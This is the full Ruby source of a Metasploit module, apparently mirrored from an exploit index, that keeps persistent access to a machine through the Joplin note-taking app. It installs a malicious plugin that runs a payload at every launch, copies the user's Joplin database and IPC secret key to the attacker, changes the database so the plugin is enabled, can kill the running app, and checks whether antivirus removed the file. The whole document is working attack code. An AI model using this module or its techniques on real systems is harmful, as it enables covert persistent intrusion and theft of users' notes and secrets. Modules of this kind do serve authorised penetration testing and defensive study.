Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'sqlite3'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix # whoami
  include Msf::Auxiliary::Report
  include Msf::Exploit::Local::Persistence

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Joplin Plugin Persistence',
        'Description' => %q{
          This module installs a malicious Joplin plugin (.jpl) into the target's
          Joplin plugin directory. The plugin executes the payload each time Joplin
          is launched, providing persistent code execution. Joplin can not
          be running at the time of plugin installation, or it will be overwriten
          at shutdown. The module can optionally kill Joplin if it is detected running.

          Tested against Joplin 3.6.11 on Windows 10, 3.6.10 on Kali
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die' # Module
        ],
        'DisclosureDate' => '2017-12-07', # initial joplin release date
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Privileged' => false,
        'References' => [
          [ 'URL', 'https://joplinapp.org/help/api/get_started/plugins/' ],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]
        ],
        'Arch' => [ARCH_CMD],
        'Platform' => %w[linux windows],
        'Payload' => {
          'Space' => 8191,
          'DisableNops' => true
        },
        'Targets' => [
          ['Windows', { 'Platform' => 'windows' }], # set payload payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp
          ['Linux', { 'Platform' => %w[linux unix] }],
          # ['OSX', { 'Platform' => %w[linux unix] }]
        ],
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DefaultTarget' => 0
      )
    )

    register_options([
      OptString.new('NAME', [false, 'Name of the plugin', '']),
      OptString.new('DESCRIPTION', [false, 'Description of the plugin', '']),
      OptString.new('USER', [false, 'User to target, or current user if blank', '']),
      OptString.new('DATABASE', [false, 'Full path to Joplin database.sqlite on target (auto-detected if blank)', '']),
      OptBool.new('KILLJOPLIN', [false, 'Kill Joplin if it is running before modifying the database', false])
    ])
    deregister_options('WritableDir')
  end

  def plugin_name
    # memoized so manifest and install path always use the same name
    @plugin_name ||= if datastore['NAME'].blank?
                       rand_text_alphanumeric(4..10)
                     else
                       datastore['NAME']
                     end
  end

  def plugin_id
    @plugin_id ||= "com.#{rand_text_alpha(4..8).downcase}.#{plugin_name}"
  end

  def manifest
    {
      'manifest_version' => 1,
      'id' => plugin_id,
      'app_min_version' => '3.2',
      'version' => '1.0.0',
      'name' => plugin_name,
      'description' => datastore['DESCRIPTION'].blank? ? '' : datastore['DESCRIPTION'],
      'author' => '',
      'homepage_url' => '',
      'repository_url' => '',
      'keywords' => [],
      'categories' => [],
      'screenshots' => [],
      'icons' => {},
      'promo_tile' => {}
    }.to_json
  end

  def index_js
    ::File.read(::File.join(Msf::Config.data_directory, 'exploits', 'joplin_plugin', 'index.js.template'))
  end

  def create_plugin_tar(pload)
    tar = StringIO.new
    Rex::Tar::Writer.new(tar) do |t|
      t.add_file('manifest.json', 0o644) do |f|
        f.write(manifest)
      end
      t.add_file('index.js', 0o644) do |f|
        f.write(index_js)
      end
      t.add_file('external', 0o644) do |f|
        f.write([pload].pack('m0'))
      end
    end
    tar.seek(0)
    data = tar.read
    tar.close
    data
  end

  def target_user
    return datastore['USER'] unless datastore['USER'].blank?

    return create_process('cmd.exe', args: ['/c', 'echo', '%USERNAME%']).strip if ['windows', 'win'].include? session.platform

    whoami
  end

  def joplin_base_dirs
    user = target_user
    vprint_status("Target user: #{user}")

    case session.platform
    when 'windows', 'win'
      [
        "C:\\Users\\#{user}\\.config\\joplin-desktop",
        "C:\\Users\\#{user}\\.config\\joplin",
        "C:\\Users\\#{user}\\AppData\\Roaming\\joplin",
        "C:\\Users\\#{user}\\AppData\\Roaming\\joplin-desktop"
      ]
    # when 'osx'
    #  [
    #    "/Users/#{user}/Library/Application Support/joplin",
    #    "/Users/#{user}/Library/Application Support/joplin-desktop"
    #  ]
    else # linux
      home = user == 'root' ? '/root' : "/home/#{user}"
      [
        "#{home}/.config/joplin",
        "#{home}/.config/joplin-desktop",
        "#{home}/snap/joplin-desktop/current/.config/joplin-desktop"
      ]
    end
  end

  def check
    joplin_base_dirs.each do |dir|
      return CheckCode::Appears("Joplin installation found: #{dir}") if directory?(dir)
    end

    CheckCode::Safe('No Joplin installation found')
  end

  def windows?
    ['windows', 'win'].include?(session.platform)
  end

  def joplin_running?
    if windows?
      !create_process('powershell', args: ['-Command', 'Get-Process -Name Joplin* -ErrorAction SilentlyContinue']).strip.empty?
    else
      !create_process('pgrep', args: ['-i', 'joplin']).strip.empty?
    end
  end

  def kill_joplin
    if windows?
      create_process('powershell', args: ['-Command', 'Stop-Process -Name Joplin -Force -ErrorAction SilentlyContinue'])
    else
      create_process('pkill', args: ['-i', 'joplin'])
    end
    Rex.sleep(2)
    if joplin_running?
      print_warning('Joplin is still running after kill attempt')
      return false
    end
    print_good('Joplin killed successfully')
    true
  end

  def find_joplin_database
    user = target_user
    print_status('Searching for Joplin database...')

    if session.type == 'meterpreter' && windows?
      search_root = "C:\\Users\\#{user}"
      begin
        results = session.fs.file.search(search_root, 'database.sqlite', true)
        results.each do |r|
          path = "#{r['path']}\\#{r['name']}"
          vprint_status("  Found: #{path}")
          return path if path.downcase.include?('joplin')
        end
      rescue Rex::Post::Meterpreter::RequestError => e
        print_warning("Meterpreter file search failed: #{e.message}")
      end
      return nil
    end

    # Shell session fallback
    if windows?
      results = create_process('powershell', args: ['-Command', "Get-ChildItem -Path 'C:\\Users\\#{user}' -Recurse -Filter 'database.sqlite' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName"]).strip
    else
      home = user == 'root' ? '/root' : "/home/#{user}"
      results = create_process('find', args: [home, '-name', 'database.sqlite']).strip
    end

    results.lines.each do |path|
      path = path.strip
      next if path.empty?

      vprint_status("  Found: #{path}")
      return path if path.downcase.include?('joplin')
    end

    nil
  end

  def register_plugin(base_dir, plugin_id)
    sep = windows? ? '\\' : '/'

    db_path = if datastore['DATABASE'].present?
                datastore['DATABASE']
              else
                "#{base_dir}#{sep}database.sqlite"
              end

    unless file?(db_path)
      print_warning("Joplin database not found at: #{db_path}")
      db_path = find_joplin_database
      if db_path.nil?
        print_warning('Set DATABASE to the correct path and re-run, or enable the plugin manually via Tools > Plugins')
        return
      end
      print_good("Found database at: #{db_path}")
    end

    print_status('Downloading Joplin database...')
    db_data = read_file(db_path)

    loot_path = store_loot(
      'joplin.database',
      'application/x-sqlite3',
      session.session_host,
      db_data,
      'database.sqlite',
      'Joplin SQLite database'
    )
    print_good("Database saved to loot: #{loot_path}")

    begin
      db = SQLite3::Database.new(loot_path)

      # Load all rows in Ruby and filter client-side: the unique index can become
      # corrupted (orphaned rows not tracked by the index), causing INSERT OR REPLACE
      # to miss stale entries. Joplin does a full table scan on startup and crashes
      # if it finds two rows with the same key.
      all_rows = db.execute('SELECT rowid, key, value FROM settings')
      existing = all_rows.select { |r| r[1] == 'plugins.states' }
      vprint_status("Found #{existing.length} existing plugins.states row(s)")

      states = {}
      if existing.any?
        begin
          states = JSON.parse(existing.first[2])
        rescue JSON::ParserError => e
          print_warning("Could not parse existing plugins.states: #{e.message}")
        end
        existing.each { |row| db.execute('DELETE FROM settings WHERE rowid=?', [row[0]]) }
      end

      states[plugin_id] = { 'enabled' => true, 'deleted' => false, 'hasBeenUpdated' => false }
      new_json = JSON.generate(states)
      tbl = Rex::Text::Table.new(
        'Header' => 'Joplin Plugin States',
        'Indent' => 4,
        'Columns' => ['Plugin ID', 'Enabled', 'Deleted', 'Has Been Updated']
      )
      states.each { |id, s| tbl << [id, s['enabled'], s['deleted'], s['hasBeenUpdated']] }
      print_line(tbl.to_s)
      # Use a SQL literal for the key: the sqlite3 gem binds Ruby string parameters
      # as BLOB in MSF's encoding context, but Joplin queries with WHERE key='plugins.states'
      # (TEXT literal), which never matches a BLOB โ€” the plugin would be invisible.
      db.execute("INSERT INTO settings (key, value) VALUES ('plugins.states', ?)", [new_json])
      db.close
    rescue LoadError
      print_warning('sqlite3 gem not available โ€” enable the plugin manually via Tools > Plugins')
      return
    rescue SQLite3::Exception => e
      print_warning("Failed to modify database: #{e.message}")
      return
    end

    print_status('Re-uploading modified database...')
    write_file(db_path, ::File.binread(loot_path))

    ['-wal', '-shm'].each do |ext|
      wal = "#{db_path}#{ext}"
      next unless file?(wal)

      print_status("Removing #{ext} file to prevent WAL replay: #{wal}")
      rm_f(wal)
    end

    print_good('Plugin registered in Joplin database')
    [loot_path, db_path]
  end

  def loot_ipc_key(base_dir)
    sep = windows? ? '\\' : '/'
    key_path = "#{base_dir}#{sep}ipc_secret_key.txt"
    unless file?(key_path)
      print_warning("ipc_secret_key.txt not found at #{key_path}")
      return
    end
    key_data = read_file(key_path)
    loot_path = store_loot(
      'joplin.ipc_secret_key',
      'text/plain',
      session.session_host,
      key_data,
      'ipc_secret_key.txt',
      'Joplin IPC secret key'
    )
    print_good("IPC secret key saved to loot: #{loot_path}")
  end

  def install_persistence
    print_status("Using plugin name: #{plugin_id}")

    base_dir = joplin_base_dirs.find { |dir| directory?(dir) }
    fail_with(Failure::NotFound, 'No Joplin installation found') if base_dir.nil?

    loot_ipc_key(base_dir)

    sep = windows? ? '\\' : '/'
    plugin_dir = "#{base_dir}#{sep}plugins"
    plugin_path = "#{plugin_dir}#{sep}#{plugin_id}.jpl"

    unless directory?(plugin_dir)
      print_status("Creating plugins directory: #{plugin_dir}")
      mkdir(plugin_dir, cleanup: false)
    end

    jpl_data = create_plugin_tar(payload.encoded)
    print_status("Writing plugin to: #{plugin_path} (#{jpl_data.length} bytes)")
    write_file(plugin_path, jpl_data)

    # Verify AV did not immediately quarantine/delete the file
    if file?(plugin_path)
      print_good("Plugin written to #{plugin_path}")
    else
      print_warning("Plugin file missing after write โ€” may have been quarantined by AV: #{plugin_path}")
    end

    if joplin_running?
      if datastore['KILLJOPLIN']
        print_status('Joplin is running โ€” killing it before modifying the database...')
        if kill_joplin
          result = register_plugin(base_dir, plugin_id)
        else
          print_warning('Could not kill Joplin โ€” skipping database registration.')
          print_warning('Close Joplin manually and re-run this module so the plugin registration persists.')
          result = nil
        end
      else
        print_warning('Joplin is currently running โ€” the database modification will be overwritten when Joplin closes.')
        print_warning('Close Joplin completely and re-run this module, or set KILLJOPLIN true to kill it automatically.')
        print_warning('The .jpl file has been written; only the database registration step will be skipped.')
        result = nil
      end
    else
      result = register_plugin(base_dir, plugin_id)
    end

    if windows?
      @clean_up_rc << "del /f \"#{plugin_path}\"\n"
    else
      @clean_up_rc << "rm -f \"#{plugin_path}\"\n"
    end

    if result
      original_db_loot, db_path = result
      @clean_up_rc << "upload #{original_db_loot} #{db_path}\n"
    end

    if result
      print_status('Joplin is not running โ€” launch it to trigger the plugin')
    end
    print_status("If the payload does not execute, check log files in #{base_dir} for plugin errors")
  end
end